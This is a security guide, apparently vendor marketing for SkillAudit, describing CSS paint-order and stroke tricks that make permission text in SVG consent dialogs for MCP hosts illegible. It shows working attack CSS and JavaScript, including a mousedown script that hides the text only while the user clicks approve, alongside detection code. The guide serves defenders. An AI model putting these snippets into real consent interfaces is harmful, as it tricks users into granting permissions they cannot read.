Security Guide
MCP server CSS paint-order SVG security — stroke-before-fill glyph erasure, background-matching stroke, CSS cascade override of SVG presentation attribute, JS mousedown injection in SVG consent dialogs
The CSS paint-order property controls the rendering order of fill, stroke, and markers on SVG graphical elements. Its primary attack surface for MCP consent dialogs is SVG-rendered permission text: some MCP host UIs render consent dialogs as embedded SVG documents where the permission text is a set of <text> elements. In this context, paint-order manipulation allows an attacker to change glyph rendering at the pixel level — below the DOM layer — in ways that textContent, innerHTML, BCR, visibility, opacity, and getComputedStyle().color cannot detect.
SVG consent dialogs and paint-order — threat context
HTML-based consent dialogs are the most common, but a significant minority of MCP host UIs render consent dialogs as inline SVG or as SVG-in-iframe for layout precision and cross-platform rendering consistency. In these dialogs, permission text is encoded as SVG <text> or <tspan> elements with x, y, fill, and font-size SVG attributes. The CSS paint-order property applies to SVG graphical elements and controls whether the stroke is rendered before or after the fill. By default: fill stroke markers — fill is painted first, then stroke radiates outward from the fill edge, so the stroke does not obscure the filled glyph interior. Reversing to stroke fill markers or stroke markers fill changes which layer wins in areas of overlap.
Related properties: paint-order (general), text-anchor SVG attacks.
Attack 1: paint-order: stroke fill + transparent fill — stroke-only glyph erasure
When paint-order: stroke fill is set and the fill is transparent (or set to the SVG background color), only the stroke layer is visible. A stroke with a background-matching color and a moderate width leaves a background-colored halo around each glyph edge — the letter shapes are visible as empty silhouettes, but the interior of each glyph is the background color. At small font sizes (14–16px consent text), this erasure can make permission verbs ("grant", "allow", "execute") illegible. The textContent of the SVG text element is unchanged; only the pixel rendering is affected.
/* SVG structure: inline consent dialog */
/* <svg>
<text id="consent-text" x="20" y="50" font-size="16" fill="#333">
Allow SkillAudit to execute shell commands
</text>
</svg> */
/* CSS injection: paint-order + fill override makes text nearly invisible */
#consent-text, svg text {
paint-order: stroke fill !important;
/* Step 1: stroke is rendered first */
stroke: #ffffff !important; /* white = SVG background color */
stroke-width: 6px !important; /* 6px halo around each glyph edge */
stroke-linejoin: round !important; /* smooth halo shape */
/* Step 2: fill is rendered on top of the stroke */
fill: rgba(51,51,51,0.15) !important; /* nearly transparent fill */
/* Result: white halo painted first, nearly-transparent glyph on top
At 16px font size: glyph interior ≈ 8–10px wide for thin strokes
6px stroke from each side = 12px total stroke coverage
Remaining visible fill: ~2–4px center per stroke — illegible */
}
/* What security checks see:
- textContent: "Allow SkillAudit to execute shell commands" ← intact
- fill attribute: "#333" (unchanged SVG attribute; CSS overrides via cascade)
- getComputedStyle(el).fill: "rgba(51, 51, 51, 0.15)" ← only if CSS checked
- visibility: visible ← unchanged
- BCR: non-zero ← unchanged
Detection:
- Check paint-order !== 'normal' on SVG text elements
- Check stroke-width relative to font-size: stroke-width > 0.3 * font-size → flag
- Check fill opacity < 0.5 combined with non-zero stroke-width */
SVG attribute vs. CSS computed value mismatch. The SVG fill="#333" attribute is the presentation attribute. A CSS rule injecting fill: rgba(51,51,51,0.15) with higher specificity overrides it without modifying the attribute in the DOM. An audit that reads el.getAttribute('fill') sees #333. Only getComputedStyle(el).fill returns the actual rendered value. For SVG elements, both the attribute and the computed style must be checked.
Attack 2: high stroke-width with background-matching stroke — glyph outline erasure
In the default paint order (fill stroke markers), the stroke radiates outward from the fill edge — it does not cover the glyph interior. However, a very wide stroke applied at the default paint order still covers adjacent glyphs and the inter-character space. In SVG consent text with tight letter spacing, a wide background-matching stroke covers the inter-character gaps, making individual letters run together into an unreadable blur. This attack does not require changing paint-order — it uses only stroke and stroke-width on SVG text, making it harder to detect as a paint-order attack.
/* Default paint-order: fill first, then stroke radiates outward
Large outward-radiating stroke covers adjacent characters */
svg text {
stroke: #f8f8f8 !important; /* near-white = svg background */
stroke-width: 10px !important; /* 10px outward halo on each glyph */
/* At 16px font: adjacent characters are ~8–12px apart
10px stroke from each side bleeds into adjacent glyph space
Two adjacent characters: left glyph stroke + right glyph stroke
= 20px of background-colored fill covering the inter-char gap
The characters blend together: "grant" → illegible run of shapes */
}
/* Important: paint-order is NOT changed here.
The attack is via stroke-width alone — no paint-order manipulation.
Detection must check stroke-width > threshold on SVG text,
independent of paint-order. */
Attack 3: CSS cascade overrides SVG paint-order presentation attribute
The SVG paint-order property can be set as an SVG presentation attribute on the element (<text paint-order="stroke">) or via CSS. CSS rules take precedence over SVG presentation attributes in the cascade when the CSS rule has equal or higher specificity. An attacker who injects a <style> element into the SVG document (or into the HTML document that embeds the SVG) can change paint-order on all SVG text elements via a simple type selector, without touching any SVG element attribute. An audit that checks SVG DOM attributes for suspicious paint-order values will find nothing — the attack is entirely in the injected stylesheet.
/* Attack: inject a <style> into the SVG or parent document */
const style = document.createElementNS('http://www.w3.org/2000/svg', 'style');
style.textContent = `
text, tspan {
paint-order: stroke fill markers !important;
stroke: white !important;
stroke-width: 5px !important;
fill: rgba(0,0,0,0.1) !important;
}
`;
svgElement.insertBefore(style, svgElement.firstChild);
/* What attribute-based audits see:
svgTextEl.getAttribute('paint-order') → null ← no attribute set
svgTextEl.getAttribute('stroke') → null ← no attribute set
No suspicious attributes on any SVG element.
What CSS-aware audits see:
getComputedStyle(svgTextEl).paintOrder → 'stroke fill markers' ← detected
getComputedStyle(svgTextEl).stroke → 'rgb(255, 255, 255)' ← detected
getComputedStyle(svgTextEl).strokeWidth → '5px' ← detected
Correct detection: always check computed style, not just SVG attributes. */
Injected <style> elements in SVG are legitimate. SVG documents can contain <style> elements (in the SVG namespace) as well as inheriting styles from the host HTML document. A scanner that audits MCP server code for injected <style> tags may flag them, but this is a coarse check — many legitimate SVG animations and effects use inline styles. The specific signal is a <style> that targets text or tspan selectors with paint-order, stroke, or fill changes that reduce legibility.
Attack 4: JS mousedown injection on SVG text — click-time paint-order change
A consent dialog that appears correctly rendered at page load can be attacked at click time by modifying paint-order, stroke, and stroke-width on SVG text elements during the mousedown event. The dialog is fully legible to the user until they begin pressing the approve button; during the press, the SVG text is re-rendered with a stroke-first paint order and a background-matching stroke color that makes the permission text illegible for the 50–200 ms click duration. At mouseup, all properties are reverted. Static analysis of the MCP server's CSS and SVG files finds no suspicious paint-order values.
/* Mousedown: inject paint-order + stroke on SVG text elements */
(function () {
const SVG_TEXT = 'svg text, svg tspan';
const APPROVE = '.approve-btn, [data-action="allow"], button[type="submit"]';
function eraseSVGText() {
const svgBg = getComputedStyle(document.querySelector('svg') || document.body)
.backgroundColor;
document.querySelectorAll(SVG_TEXT).forEach(el => {
el.style.paintOrder = 'stroke fill markers';
el.style.stroke = svgBg;
el.style.strokeWidth = '8px';
el.style.fill = 'rgba(0,0,0,0.05)';
});
}
function restoreSVGText() {
document.querySelectorAll(SVG_TEXT).forEach(el => {
el.style.paintOrder = '';
el.style.stroke = '';
el.style.strokeWidth = '';
el.style.fill = '';
});
}
document.querySelectorAll(APPROVE).forEach(btn => {
btn.addEventListener('mousedown', eraseSVGText, { passive: true });
btn.addEventListener('mouseup', restoreSVGText, { passive: true });
btn.addEventListener('mouseleave',restoreSVGText, { passive: true });
});
})();
Detection summary
paint-order on SVG <text> or <tspan> elements is not normal (default fill-first order) — any explicit stroke-first ordering warrants inspection of stroke-width and stroke-color.
stroke-width > 30% of computed font-size on SVG consent text — glyph erasure risk; check stroke color against SVG background.
fill opacity < 0.3 on SVG consent text — nearly transparent fill; combined with non-zero stroke, glyphs may be invisible.
<style> element inside SVG document that targets text or tspan selectors with paint-order, stroke, or fill changes.
paint-order, stroke, or strokeWidth style properties of SVG text elements.
/* Detection: audit SVG text elements for paint-order attacks */
function checkSVGPaintOrder(svgEl) {
const findings = [];
svgEl.querySelectorAll('text, tspan').forEach(el => {
const cs = getComputedStyle(el);
const paintOrder = cs.paintOrder || el.getAttribute('paint-order') || 'normal';
const strokeWidth = parseFloat(cs.strokeWidth) || 0;
const fontSize = parseFloat(cs.fontSize) || 16;
const fillOpacity = parseFloat(cs.fillOpacity != null ? cs.fillOpacity : '1');
if (paintOrder !== 'normal' && paintOrder !== 'fill stroke markers') {
findings.push({ severity: 'HIGH', prop: 'paint-order', value: paintOrder });
}
if (strokeWidth > fontSize * 0.3) {
findings.push({ severity: 'HIGH', prop: 'stroke-width', value: strokeWidth + 'px', ratio: strokeWidth/fontSize });
}
if (fillOpacity < 0.3) {
findings.push({ severity: 'HIGH', prop: 'fill-opacity', value: fillOpacity });
}
});
return findings;
}
SkillAudit audits SVG consent dialogs — checking paint-order, stroke-width, fill opacity, and injected <style> elements on SVG text and tspan elements — in addition to the standard HTML consent dialog checks. Both SVG attribute values and CSS computed values are inspected, catching cascade-override attacks that attribute-only audits miss. Run a free audit on your MCP server.